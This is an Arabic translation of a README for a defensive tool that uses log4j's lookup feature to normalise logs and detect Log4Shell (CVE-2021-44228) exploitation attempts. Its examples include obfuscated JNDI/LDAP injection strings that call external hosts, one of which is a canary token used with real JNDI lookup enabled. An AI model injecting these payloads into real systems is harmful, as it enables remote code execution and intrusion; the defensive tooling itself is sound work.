
بعض الأدوات للمساعدة في التخفيف من Apache Log4j 2 CVE-2021-44228
أداة للمساعدة في تحليل ثغرة Apache Log4j 2 CVE-2021-44228
تستخدم هذه الأداة ميزة "lookup" من log4j-2 لاختبار الثغرة JNDI. الهدف هو تشغيل ميزة lookup بسهولة (لتطبيع السجلات مثلاً أو لإجراء اختبار حقيقي على بعض المحتوى - يُرجى الحذر).
للبناء: "make" (للتيسير، ملف JndiLookup.jar مضمن في هذا المستودع).
بعد البناء، يمكنك تشغيل الأداة باستخدام الأمر "java -jar JndiLookup.jar" (يجب أن يكون دليل log4j الذي يحتوي على ملفات log4j الثنائية في نفس المسار مع JndiLookup.jar).
بدون وسائط، تقرأ أداة JndiLookup الأسطر من الإدخال القياسي وتقوم بتحويلها باستخدام ميزة lookup من log4j - وهذا قد يكون مفيدًا لتطبيع السجلات والبحث عن محاولات الاستغلال.
مثال: cat access.log | java -jar JndiLookup.jar
إذا مررت سلسلة نصية في سطر الأوامر، ستقوم الأداة بتحويل هذه السلسلة ثم الخروج (يُرجى تخطي جميع أحرف '$').
مثال: java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
افتراضيًا، يتم تعطيل lookup الخاص بـ JNDI (ويُستبدل بوظيفة lookup تضيف فقط "jndi:" لكن من الممكن تفعيل lookup الحقيقي لـ JNDI بتمرير الوسيط "-X" إلى JndiLookup (يجب أن يكون "-X" هو الوسيط الأول)؛ يُرجى الحذر الشديد لأن ذلك قد يؤدي إلى اختراق نظامك.
مثال: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ هذا المثال يستخدم أحد رموز canary الخاصة بي، وهو مجرد مثال؛ يرجى العلم أنه سيتم إشعاري إذا استخدمت هذا الأمر - لا مشكلة لدي لكنني سأحصل على عنوان IP الذي تم منه طلب DNS ]
عمليات lookup التالية مفعلة في ملفات log4j الثنائية المستخدمة (2.15.0 للاستخدام العادي، 2.14.1 للاستخدام مع تفعيل JNDI) :
قد تتوفر عمليات lookup أخرى حسب بيئتك :
[ يُرجى الاطلاع على https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java للحصول على تفاصيل تفعيل إضافات lookup ]
يُرجى الانتباه إلى أن هذه الأداة تستخدم الكود الحقيقي من ميزة lookup في log4j وقد تكون عرضة للاختراق بسبب مشاكل أمنية أخرى (غير JNDI).